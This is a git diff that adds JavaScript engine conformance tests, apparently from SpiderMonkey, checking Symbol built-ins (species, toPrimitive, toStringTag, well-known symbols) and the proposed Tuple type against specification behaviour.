diff --git a/js/src/tests/non262/Symbol/shell.js b/js/src/tests/non262/Symbol/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Symbol/shell.js
diff --git a/js/src/tests/non262/Symbol/species.js b/js/src/tests/non262/Symbol/species.js
new file mode 100644
index 0000000000..ba45066e1e
--- /dev/null
+++ b/js/src/tests/non262/Symbol/species.js
@@ -0,0 +1,30 @@
+var BUGNUMBER = 1131043;
+var summary = "Implement @@species getter for builtin types";
+
+print(BUGNUMBER + ": " + summary);
+
+var TypedArray = Object.getPrototypeOf(Int8Array);
+
+for (var C of [Array, Map, Set, RegExp,
+ Int8Array, Uint8Array, Uint8ClampedArray,
+ Int16Array, Uint16Array, Int32Array, Uint32Array,
+ Float32Array, Float64Array,
+ ArrayBuffer]) {
+ assertEq(C[Symbol.species], C);
+}
+
+for (C of [Array, Map, Set, RegExp,
+ TypedArray,
+ ArrayBuffer]) {
+ var desc = Object.getOwnPropertyDescriptor(C, Symbol.species);
+ assertDeepEq(Object.keys(desc).sort(), ["configurable", "enumerable", "get", "set"]);
+ assertEq(desc.set, undefined);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ assertEq(desc.get.apply(null), null);
+ assertEq(desc.get.apply(undefined), undefined);
+ assertEq(desc.get.apply(42), 42);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/surfaces.js b/js/src/tests/non262/Symbol/surfaces.js
new file mode 100644
index 0000000000..7b3ef9f9b2
--- /dev/null
+++ b/js/src/tests/non262/Symbol/surfaces.js
@@ -0,0 +1,34 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Test superficial properties of the Symbol constructor and prototype.
+
+var desc = Object.getOwnPropertyDescriptor(this, "Symbol");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, true);
+assertEq(typeof Symbol, "function");
+assertEq(Symbol.length, 0);
+
+desc = Object.getOwnPropertyDescriptor(Symbol, "prototype");
+assertEq(desc.configurable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, false);
+
+assertEq(Symbol.prototype.constructor, Symbol);
+desc = Object.getOwnPropertyDescriptor(Symbol.prototype, "constructor");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, true);
+
+desc = Object.getOwnPropertyDescriptor(Symbol, "iterator");
+assertEq(desc.configurable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, false);
+
+assertEq(Symbol.for.length, 1);
+assertEq(Symbol.prototype.toString.length, 0);
+assertEq(Symbol.prototype.valueOf.length, 0);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/symbol-object-not-unboxed-for-value-to-id.js b/js/src/tests/non262/Symbol/symbol-object-not-unboxed-for-value-to-id.js
new file mode 100644
index 0000000000..d889a77162
--- /dev/null
+++ b/js/src/tests/non262/Symbol/symbol-object-not-unboxed-for-value-to-id.js
@@ -0,0 +1,31 @@
+// Create a symbol and a wrapper for it.
+var s = Symbol();
+var so = Object(s);
+
+// Create a symbol-valued property key using |s|.
+var o = {[s]: 0};
+
+// The default Symbol.prototype[@@toPrimitive] will unbox the symbol object as needed.
+assertEq(o.propertyIsEnumerable(so), true);
+assertEq(o.hasOwnProperty(so), true);
+
+// After redefining Symbol.prototype[@@toPrimitive], any calls to the ToPropertyKey
+// abstract operation will no longer unbox the symbol object.
+Object.defineProperty(Symbol.prototype, Symbol.toPrimitive, {
+ value: function() {
+ return "foo";
+ }
+});
+
+// |o| doesn't have a string-valued property named "foo".
+assertEq(o.propertyIsEnumerable(so), false);
+assertEq(o.hasOwnProperty(so), false);
+
+o.foo = 123;
+
+// After |o.foo| was added, both calls should return true again.
+assertEq(o.propertyIsEnumerable(so), true);
+assertEq(o.hasOwnProperty(so), true);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/toPrimitive-undefined-or-null.js b/js/src/tests/non262/Symbol/toPrimitive-undefined-or-null.js
new file mode 100644
index 0000000000..f43642e0f8
--- /dev/null
+++ b/js/src/tests/non262/Symbol/toPrimitive-undefined-or-null.js
@@ -0,0 +1,18 @@
+for (let method of [undefined, null]) {
+ let obj = {
+ [Symbol.toPrimitive]: method,
+ toString: () => "pass",
+ };
+ assertEq("" + obj, "pass");
+}
+
+for (let method of [true, false, 0, 123, "", "abc", Symbol(), {}]) {
+ let obj = {
+ [Symbol.toPrimitive]: method,
+ toString: () => "pass",
+ };
+ assertThrowsInstanceOf(() => "" + obj, TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/toPrimitive.js b/js/src/tests/non262/Symbol/toPrimitive.js
new file mode 100644
index 0000000000..06262f99c6
--- /dev/null
+++ b/js/src/tests/non262/Symbol/toPrimitive.js
@@ -0,0 +1,39 @@
+// ES6 19.4.3.4 Symbol.prototype[@@toPrimitive](hint)
+
+// This method gets the primitive symbol from a Symbol wrapper object.
+var sym = Symbol.for("truth")
+var obj = Object(sym);
+assertEq(obj[Symbol.toPrimitive]("default"), sym);
+
+// The hint argument is ignored.
+assertEq(obj[Symbol.toPrimitive]("number"), sym);
+assertEq(obj[Symbol.toPrimitive]("string"), sym);
+assertEq(obj[Symbol.toPrimitive](), sym);
+assertEq(obj[Symbol.toPrimitive](Math.atan2), sym);
+
+// The this value can also be a primitive symbol.
+assertEq(sym[Symbol.toPrimitive](), sym);
+
+// Or a wrapper to a Symbol object in another compartment.
+var obj2 = newGlobal().Object(sym);
+assertEq(obj2[Symbol.toPrimitive]("default"), sym);
+
+// Otherwise a TypeError is thrown.
+var symbolToPrimitive = Symbol.prototype[Symbol.toPrimitive];
+var nonSymbols = [
+ undefined, null, true, 13, NaN, "justice", {}, [sym],
+ symbolToPrimitive,
+ new Proxy(obj, {})
+];
+for (var value of nonSymbols) {
+ assertThrowsInstanceOf(() => symbolToPrimitive.call(value, "string"), TypeError);
+}
+
+// Surface features:
+assertEq(symbolToPrimitive.name, "[Symbol.toPrimitive]");
+var desc = Object.getOwnPropertyDescriptor(Symbol.prototype, Symbol.toPrimitive);
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, false);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/toString.js b/js/src/tests/non262/Symbol/toString.js
new file mode 100644
index 0000000000..b7bbda8762
--- /dev/null
+++ b/js/src/tests/non262/Symbol/toString.js
@@ -0,0 +1,27 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var cases = [
+ {sym: Symbol(), str: "Symbol()"},
+ {sym: Symbol("ok"), str: "Symbol(ok)"},
+ {sym: Symbol("\0"), str: "Symbol(\0)"},
+ {sym: Symbol.iterator, str: "Symbol(Symbol.iterator)"},
+ {sym: Symbol.for("dummies"), str: "Symbol(dummies)"}
+];
+
+// Symbol.prototype.toString works on both primitive symbols and Symbol
+// objects.
+for (var test of cases) {
+ assertEq(test.sym.toString(), test.str);
+ assertEq(Object(test.sym).toString(), test.str);
+}
+
+// Any other value throws.
+var nonsymbols = [
+ undefined, null, "not-ok", new String("still-not-ok"), {}, []
+];
+for (var nonsym of nonsymbols)
+ assertThrowsInstanceOf(() => Symbol.prototype.toString.call(nonsym), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/toStringTag.js b/js/src/tests/non262/Symbol/toStringTag.js
new file mode 100644
index 0000000000..20aac2c42c
--- /dev/null
+++ b/js/src/tests/non262/Symbol/toStringTag.js
@@ -0,0 +1,155 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// ES6 19.1.3.6 Object.prototype.toString ( )
+function testToString() {
+ var tests = [
+ [undefined, "[object Undefined]"],
+ [null, "[object Null]"],
+ [[], "[object Array]"],
+ [new String("abc"), "[object String]"],
+ [(function () {return arguments;})(), "[object Arguments]"],
+ [(function () {"use strict"; return arguments;})(), "[object Arguments]"],
+ [function() {}, "[object Function]"],
+ [new Error("abc"), "[object Error]"],
+ [true, "[object Boolean]"],
+ [5, "[object Number]"],
+ [new Date(), "[object Date]"],
+ [/regexp/, "[object RegExp]"],
+ [{[Symbol.toStringTag]: "abc"}, "[object abc]"],
+ [Object.create(JSON), "[object JSON]"],
+ [Object.create(new Number), "[object Object]"],
+ [Object.create(new Number, {[Symbol.toStringTag]: {value: "abc"}}), "[object abc]"],
+ [(function() { var x = new Number(); x[Symbol.toStringTag] = "abc"; return x; })(), "[object abc]"],
+ [[], "[object Array]"]
+ ];
+
+ // Testing if the values are obtained the right way.
+ for (let [value, expected] of tests) {
+ let result = Object.prototype.toString.call(value);
+ assertEq(result, expected);
+ }
+}
+testToString();
+
+function testProxy() {
+ var count = 0;
+ var metaHandler = new Proxy({}, {
+ get(target, property, receiver) {
+ assertEq(property, "get");
+
+ return function(target, property, receiver) {
+ assertEq(property, Symbol.toStringTag);
+ count++;
+ return undefined;
+ }
+ }
+ });
+
+ assertEq(Object.prototype.toString.call(new Proxy({}, metaHandler)), "[object Object]")
+ assertEq(Object.prototype.toString.call(new Proxy(new Date, metaHandler)), "[object Object]")
+ assertEq(Object.prototype.toString.call(new Proxy([], metaHandler)), "[object Array]")
+ assertEq(Object.prototype.toString.call(new Proxy(function() {}, metaHandler)), "[object Function]")
+ var {proxy, revoke} = Proxy.revocable({}, metaHandler);
+ revoke();
+ assertThrowsInstanceOf(() => Object.prototype.toString.call(proxy), TypeError);
+
+ assertEq(count, 4);
+}
+testProxy();
+
+// Tests the passed objects toStringTag values and ensures it's
+// desc is writable: false, enumerable: false, configurable: true
+function testDefault(object, expected) {
+ let desc = Object.getOwnPropertyDescriptor(object, Symbol.toStringTag);
+ assertEq(desc.value, expected);
+ assertEq(desc.writable, false);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+}
+
+// ES6 19.4.3.5 Symbol.prototype [ @@toStringTag ]
+testDefault(Symbol.prototype, "Symbol");
+
+// ES6 20.2.1.9 Math [ @@toStringTag ]
+testDefault(Math, "Math");
+
+// ES6 21.1.5.2.2 %StringIteratorPrototype% [ @@toStringTag ]
+testDefault(""[Symbol.iterator]().__proto__, "String Iterator")
+
+// ES6 22.1.5.2.2 %ArrayIteratorPrototype% [ @@toStringTag ]
+testDefault([][Symbol.iterator]().__proto__, "Array Iterator")
+
+// ES6 22.2.3.31 get %TypedArray%.prototype [ @@toStringTag ]
+function testTypedArray() {
+ let ta = (new Uint8Array(0)).__proto__.__proto__;
+ let desc = Object.getOwnPropertyDescriptor(ta, Symbol.toStringTag);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ assertEq(desc.set, undefined);
+
+ let get = desc.get;
+ assertEq(get.name, "get [Symbol.toStringTag]");
+ assertEq(get.call(3.14), undefined);
+ assertEq(get.call({}), undefined);
+ assertEq(get.call(ta), undefined);
+
+ let types = [
+ Int8Array,
+ Uint8Array,
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Float32Array,
+ Float64Array
+ ];
+
+ for (let type of types) {
+ let array = new type(0);
+ assertEq(get.call(array), type.name);
+ assertEq(Object.prototype.toString.call(array), `[object ${type.name}]`);
+ }
+}
+testTypedArray();
+
+// ES6 23.1.3.13 Map.prototype [ @@toStringTag ]
+testDefault(Map.prototype, "Map");
+
+// ES6 23.1.5.2.2 %MapIteratorPrototype% [ @@toStringTag ]
+testDefault(new Map()[Symbol.iterator]().__proto__, "Map Iterator")
+
+// ES6 23.2.3.12 Set.prototype [ @@toStringTag ]
+testDefault(Set.prototype, "Set");
+
+// ES6 23.2.5.2.2 %SetIteratorPrototype% [ @@toStringTag ]
+testDefault(new Set()[Symbol.iterator]().__proto__, "Set Iterator")
+
+// ES6 23.3.3.6 WeakMap.prototype [ @@toStringTag ]
+testDefault(WeakMap.prototype, "WeakMap");
+
+// ES6 23.4.3.5 WeakSet.prototype [ @@toStringTag ]
+testDefault(WeakSet.prototype, "WeakSet");
+
+// ES6 24.1.4.4 ArrayBuffer.prototype [ @@toStringTag ]
+testDefault(ArrayBuffer.prototype, "ArrayBuffer");
+
+// ES6 24.2.4.21 DataView.prototype[ @@toStringTag ]
+testDefault(DataView.prototype, "DataView");
+
+// ES6 24.3.3 JSON [ @@toStringTag ]
+testDefault(JSON, "JSON");
+
+// ES6 25.2.3.3 GeneratorFunction.prototype [ @@toStringTag ]
+testDefault(function* () {}.constructor.prototype, "GeneratorFunction");
+
+// ES6 25.3.1.5 Generator.prototype [ @@toStringTag ]
+testDefault(function* () {}().__proto__.__proto__, "Generator");
+
+// ES6 25.4.5.4 Promise.prototype [ @@toStringTag ]
+testDefault(Promise.prototype, "Promise");
+
+// AsyncFunction.prototype [ @@toStringTag ]
+testDefault(async function() {}.constructor.prototype, "AsyncFunction");
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/Symbol/typed-arrays.js b/js/src/tests/non262/Symbol/typed-arrays.js
new file mode 100644
index 0000000000..a07cf396bb
--- /dev/null
+++ b/js/src/tests/non262/Symbol/typed-arrays.js
@@ -0,0 +1,17 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Symbol-to-number type conversions involving typed arrays.
+
+for (var T of [Uint8Array, Uint8ClampedArray, Int16Array, Float32Array]) {
+ // Typed array constructors convert symbols using ToNumber(), which throws.
+ assertThrowsInstanceOf(() => new T([Symbol("a")]), TypeError);
+
+ // Assignment does the same.
+ var arr = new T([1]);
+ assertThrowsInstanceOf(() => { arr[0] = Symbol.iterator; }, TypeError);
+ assertEq(arr[0], 1);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/typeof.js b/js/src/tests/non262/Symbol/typeof.js
new file mode 100644
index 0000000000..104ae66dfd
--- /dev/null
+++ b/js/src/tests/non262/Symbol/typeof.js
@@ -0,0 +1,11 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+assertEq(typeof Symbol(), "symbol");
+assertEq(typeof Symbol("ponies"), "symbol");
+assertEq(typeof Symbol.for("ponies"), "symbol");
+
+assertEq(typeof Object(Symbol()), "object");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/valueOf.js b/js/src/tests/non262/Symbol/valueOf.js
new file mode 100644
index 0000000000..a3823c3ffd
--- /dev/null
+++ b/js/src/tests/non262/Symbol/valueOf.js
@@ -0,0 +1,22 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var symbols = [
+ Symbol(),
+ Symbol("ok"),
+ Symbol.for("dummies"),
+ Symbol.iterator
+];
+
+for (var sym of symbols) {
+ assertEq(sym.valueOf(), sym);
+ assertEq(Object(sym).valueOf(), sym);
+}
+
+// Any other value throws.
+var nonsymbols = [undefined, null, NaN, {}, Symbol.prototype];
+for (var nonsym of nonsymbols)
+ assertThrowsInstanceOf(() => Symbol.prototype.valueOf.call(nonsym), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Symbol/well-known.js b/js/src/tests/non262/Symbol/well-known.js
new file mode 100644
index 0000000000..095d333a00
--- /dev/null
+++ b/js/src/tests/non262/Symbol/well-known.js
@@ -0,0 +1,42 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var names = [
+ "isConcatSpreadable",
+ "iterator",
+ "match",
+ "replace",
+ "search",
+ "species",
+ "hasInstance",
+ "split",
+ "toPrimitive",
+ "unscopables",
+ "asyncIterator"
+];
+
+for (var name of names) {
+ // Well-known symbols exist.
+ assertEq(typeof Symbol[name], "symbol");
+
+ // They are never in the registry.
+ assertEq(Symbol[name] !== Symbol.for("Symbol." + name), true);
+
+ // They are shared across realms.
+ if (typeof Realm === 'function')
+ throw new Error("please update this test to use Realms");
+ if (typeof newGlobal === 'function') {
+ var g = newGlobal();
+ assertEq(Symbol[name], g.Symbol[name]);
+ }
+
+ // Descriptor is all false.
+ var desc = Object.getOwnPropertyDescriptor(Symbol, name);
+ assertEq(typeof desc.value, "symbol");
+ assertEq(desc.writable, false);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, false);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/4.1.2.11.js b/js/src/tests/non262/Tuple/4.1.2.11.js
new file mode 100644
index 0000000000..9f8c018958
--- /dev/null
+++ b/js/src/tests/non262/Tuple/4.1.2.11.js
@@ -0,0 +1,128 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+/*
+2. If ! IsValidTupleIndex(numericIndex) is false, return empty.
+*/
+
+var t = #[1,2,3,4,5];
+assertEq(t[true], undefined);
+assertEq(t[false], undefined);
+assertEq(t[-2], undefined);
+/* TODO: This should be undefined as per section 4.1.2.10, step 1,
+ * but it's currently treated the same as t[0].
+ */
+// assertEq(t[-0], undefined);
+assertEq(t[10], undefined);
+assertEq(t[NaN], undefined);
+assertEq(t[Number.POSITIVE_INFINITY], undefined);
+assertEq(t[Number.NEGATIVE_INFINITY], undefined);
+assertEq(t["abc"], undefined);
+assertEq(t["3"], t[3]);
+assertEq(t[new String("3")], t[3]);
+assertEq(t["0"], t[0]);
+assertEq(t[new String("0")], t[0]);
+assertEq(t[new Number(0)], t[0]);
+assertEq(t[new Number(3)], t[3]);
+assertEq(t[1.1], undefined);
+assertEq(t[null], undefined);
+assertEq(t[undefined], undefined);
+
+var object = {
+ valueOf: function() {
+ return 1
+ }
+};
+assertEq(t[object], undefined);
+
+var object = {
+ valueOf: function() {
+ return 1
+ },
+ toString: function() {
+ return 0
+ }
+};
+assertEq(t[object], t[0]);
+
+var object = {
+ valueOf: function() {
+ return 1
+ },
+ toString: function() {
+ return {}
+ }
+};
+assertEq(t[object], t[1]);
+
+//CHECK#4
+try {
+ x = [];
+ var object = {
+ valueOf: function() {
+ throw "error"
+ },
+ toString: function() {
+ return 1
+ }
+ };
+ assertEq(tup[object], tup[1]);
+}
+catch (e) {
+ assertEq(e === "error", false);
+}
+
+//CHECK#5
+var object = {
+ toString: function() {
+ return 1
+ }
+};
+assertEq(t[object], t[1]);
+
+//CHECK#6
+x = [];
+var object = {
+ valueOf: function() {
+ return {}
+ },
+ toString: function() {
+ return 1
+ }
+}
+assertEq(t[object], t[1]);
+
+//CHECK#7
+try {
+ var object = {
+ valueOf: function() {
+ return 1
+ },
+ toString: function() {
+ throw "error"
+ }
+ };
+ t[object];
+ throw new SyntaxError();
+}
+catch (e) {
+ assertEq(e, "error", 'The value of e is expected to be "error"');
+}
+
+//CHECK#8
+try {
+ var object = {
+ valueOf: function() {
+ return {}
+ },
+ toString: function() {
+ return {}
+ }
+ };
+ t[object];
+ throw new SyntaxError();
+}
+catch (e) {
+ assertEq(e instanceof TypeError, true);
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/4.1.2.6.js b/js/src/tests/non262/Tuple/4.1.2.6.js
new file mode 100644
index 0000000000..c1533bd7f6
--- /dev/null
+++ b/js/src/tests/non262/Tuple/4.1.2.6.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+/*
+4.1.2.6 [[Set]] ( P, Receiver )
+The [[Set]] internal method of a Tuple exotic object takes arguments P and Receiver. It performs the following steps when called:
+
+1. Assert: IsPropertyKey(P) is true.
+2. Return false.
+*/
+
+// Setting properties should have no effect
+var t = #[1];
+t[4294967295] = "not a tuple element";
+assertEq(t[4294967295], undefined);
+assertEq(t.length, 1);
+t[1] = 5;
+assertEq(t.length, 1);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/9.1.1.1.js b/js/src/tests/non262/Tuple/9.1.1.1.js
new file mode 100644
index 0000000000..0f1e8d8e0a
--- /dev/null
+++ b/js/src/tests/non262/Tuple/9.1.1.1.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+assertEq(Object.prototype.toString.call(#[1,2,3]),
+ "[object Tuple]");
+assertEq(Object.prototype.toString.call(Object(#[1,2,3])),
+ "[object Tuple]");
+assertEq(Object.prototype.toString.call(#[]),
+ "[object Tuple]");
+assertEq(Object.prototype.toString.call(Object(#[])),
+ "[object Tuple]");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/browser.js b/js/src/tests/non262/Tuple/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Tuple/browser.js
diff --git a/js/src/tests/non262/Tuple/constructor.js b/js/src/tests/non262/Tuple/constructor.js
new file mode 100644
index 0000000000..067a5d5ea2
--- /dev/null
+++ b/js/src/tests/non262/Tuple/constructor.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+assertThrowsInstanceOf(
+ () => new Tuple(),
+ TypeError,
+ "Tuple is not a constructor"
+);
+
+assertEq(typeof Tuple(), "tuple");
+assertEq(typeof Object(Tuple()), "object");
+assertEq(Tuple() instanceof Tuple, false);
+assertEq(Object(Tuple()) instanceof Tuple, true);
+
+assertEq(Tuple().__proto__, Tuple.prototype);
+assertEq(Object(Tuple()).__proto__, Tuple.prototype);
+assertEq(Tuple.prototype.constructor, Tuple);
+
+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/constructor/8.2.1.js b/js/src/tests/non262/Tuple/constructor/8.2.1.js
new file mode 100644
index 0000000000..0e43551f8f
--- /dev/null
+++ b/js/src/tests/non262/Tuple/constructor/8.2.1.js
@@ -0,0 +1,55 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+8.2.1 The Tuple Constructor
+The Tuple constructor:
+
+is the intrinsic object %Tuple%.
+*/
+
+assertEq(typeof Tuple, "function");
+assertEq(typeof Tuple.prototype, "object");
+
+/*
+is the initial value of the "Tuple" property of the global object.
+*/
+assertEq(this.Tuple, Tuple);
+
+/*
+creates and initializes a new Tuple object when called as a function.
+*/
+assertEq(Tuple(), #[]);
+assertEq(Tuple(1), #[1]);
+assertEq(Tuple("a", 1, true), #["a", 1, true]);
+/* 8.2.1.1
+3. For each element e of items,
+a. If Type(e) is Object, throw a TypeError exception.
+*/
+assertThrowsInstanceOf(() => Tuple("a", new Object()), TypeError,
+ "Object in Tuple");
+
+/*
+is not intended to be used with the new operator or to be subclassed.
+*/
+/* 8.2.1.1
+1. If NewTarget is not undefined, throw a TypeError exception.
+*/
+assertThrowsInstanceOf(() => new Tuple(1, 2, 3), TypeError, "Tuple is not intended to be used with the new operator");
+
+
+/* It may be used as the value of an extends clause of a class definition but a super call to the Tuple constructor will cause an exception.
+*/
+class C extends Tuple{}; // class declaration is allowed
+// super() is called implicitly
+assertThrowsInstanceOf (() => new C(), TypeError, "super call to Tuple constructor");
+class D extends Tuple {
+ constructor() {
+ super();
+ }
+};
+// Explicit call to super() will also throw
+assertThrowsInstanceOf(() => new D(), TypeError, "super call to Tuple constructor");
+
+reportCompare(0, 0);
+
+
+
diff --git a/js/src/tests/non262/Tuple/constructor/8.2.2.js b/js/src/tests/non262/Tuple/constructor/8.2.2.js
new file mode 100644
index 0000000000..938f7896d7
--- /dev/null
+++ b/js/src/tests/non262/Tuple/constructor/8.2.2.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+/*
+8.2.2 Properties of the Tuple Constructor
+The Tuple constructor:
+
+has a [[Prototype]] internal slot whose value is %Function.prototype%.
+*/
+assertEq(Object.getPrototypeOf(Tuple), Function.prototype);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/constructor/call-method.js b/js/src/tests/non262/Tuple/constructor/call-method.js
new file mode 100644
index 0000000000..8675240029
--- /dev/null
+++ b/js/src/tests/non262/Tuple/constructor/call-method.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+10.2 ECMAScript Function Objects
+...
+All ECMAScript function objects have the [[Call]] internal method defined here. ECMAScript functions that are also constructors in addition have the [[Construct]] internal method.
+*/
+
+assertEq(Tuple.call(), #[]);
+assertEq(Tuple.call(undefined), #[]);
+assertEq(Tuple.call(undefined, 1), #[1]);
+assertEq(Tuple.call(2, 1), #[1]);
+assertEq(Tuple.call(#[], 1), #[1]);
+assertEq(Tuple.call(undefined, 1, 2, 3), #[1,2,3]);
+assertEq(Tuple.call(6, 1, 2, 3), #[1,2,3]);
+assertEq(Tuple.call(#[1], 1, 2, 3), #[1,2,3]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/constructor/is-a-constructor.js b/js/src/tests/non262/Tuple/constructor/is-a-constructor.js
new file mode 100644
index 0000000000..4ad4ee1560
--- /dev/null
+++ b/js/src/tests/non262/Tuple/constructor/is-a-constructor.js
@@ -0,0 +1,4 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+assertEq(isConstructor(Tuple), true);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/constructor/length.js b/js/src/tests/non262/Tuple/constructor/length.js
new file mode 100644
index 0000000000..67169ef0d1
--- /dev/null
+++ b/js/src/tests/non262/Tuple/constructor/length.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+18 ECMAScript Standard Built-in Objects
+...
+Every built-in function object, including constructors, has a "length" property whose value is a non-negative integral Number. Unless otherwise specified, this value is equal to the number of required parameters shown in the subclause heading for the function description. Optional parameters and rest parameters are not included in the parameter count.
+*/
+var desc = Object.getOwnPropertyDescriptor(Tuple, "length");
+assertEq(desc.value, 0);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/constructor/name.js b/js/src/tests/non262/Tuple/constructor/name.js
new file mode 100644
index 0000000000..6656c2ee54
--- /dev/null
+++ b/js/src/tests/non262/Tuple/constructor/name.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+18 ECMAScript Standard Built-in Objects
+
+Every built-in function object, including constructors, has a "name" property whose value is a String. Unless otherwise specified, this value is the name that is given to the function in this specification. Functions that are identified as anonymous functions use the empty String as the value of the "name" property.
+...
+Unless otherwise specified, the "name" property of a built-in function object has the attributes { [[Writable]]: false, [[Enumerable]]: false, [[Configurable]]: true }.
+*/
+
+
+var desc = Object.getOwnPropertyDescriptor(Tuple, "name");
+assertEq(desc.value, "Tuple");
+
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+reportCompare(0, 0);
+
+
diff --git a/js/src/tests/non262/Tuple/cross-realm.js b/js/src/tests/non262/Tuple/cross-realm.js
new file mode 100644
index 0000000000..ca385c7ca4
--- /dev/null
+++ b/js/src/tests/non262/Tuple/cross-realm.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+const realm = newGlobal();
+
+const realm_TupleConstructor = realm.eval("Tuple");
+const realm_tuple = realm.eval(`
+ var tuple = Tuple(1, 2, 3);
+ tuple;
+`);
+
+assertEq(realm_tuple === #[1, 2, 3], true);
+assertEq(realm_tuple.constructor, Tuple);
+assertEq(realm.eval("tuple.constructor"), realm_TupleConstructor);
+
+realm_TupleConstructor.prototype.foo = 42;
+assertEq(realm.eval("tuple.foo"), 42);
+assertEq(realm_tuple.foo, undefined);
+
+assertEq("foo" in Object(realm_tuple), false);
+assertEq(realm.eval(`"foo" in Object(tuple)`), true);
+
+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/elements-literal.js b/js/src/tests/non262/Tuple/elements-literal.js
new file mode 100644
index 0000000000..1cc5cabf6f
--- /dev/null
+++ b/js/src/tests/non262/Tuple/elements-literal.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+var tup = #[1, 2, 10n ** 100n, Tuple(5, 6)];
+
+assertEq(tup[0], 1);
+assertEq(tup[1], 2);
+assertEq(tup[2], 10n ** 100n);
+assertEq(typeof tup[3], "tuple");
+assertEq(tup[3][0], 5);
+assertEq(tup[3][1], 6);
+
+var err;
+try {
+ tup = #[1, 2, 3,
+ 4, 5,
+ 7, {}, 8];
+} catch (e) { err = e }
+
+assertEq(err.lineNumber, 16);
+assertEq(err.columnNumber, 10);
+
+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/elements.js b/js/src/tests/non262/Tuple/elements.js
new file mode 100644
index 0000000000..81ff41a0bf
--- /dev/null
+++ b/js/src/tests/non262/Tuple/elements.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+var tup = Tuple(1, 2, 10n ** 100n, Tuple(5, 6));
+
+assertEq(tup[0], 1);
+assertEq(tup[1], 2);
+assertEq(tup[2], 10n ** 100n);
+assertEq(typeof tup[3], "tuple");
+assertEq(tup[3][0], 5);
+assertEq(tup[3][1], 6);
+
+assertEq(Object(tup)[0], 1);
+
+assertEq(tup.length, 4);
+assertEq(Object(tup).length, 4);
+
+assertEq("0" in Object(tup), true);
+
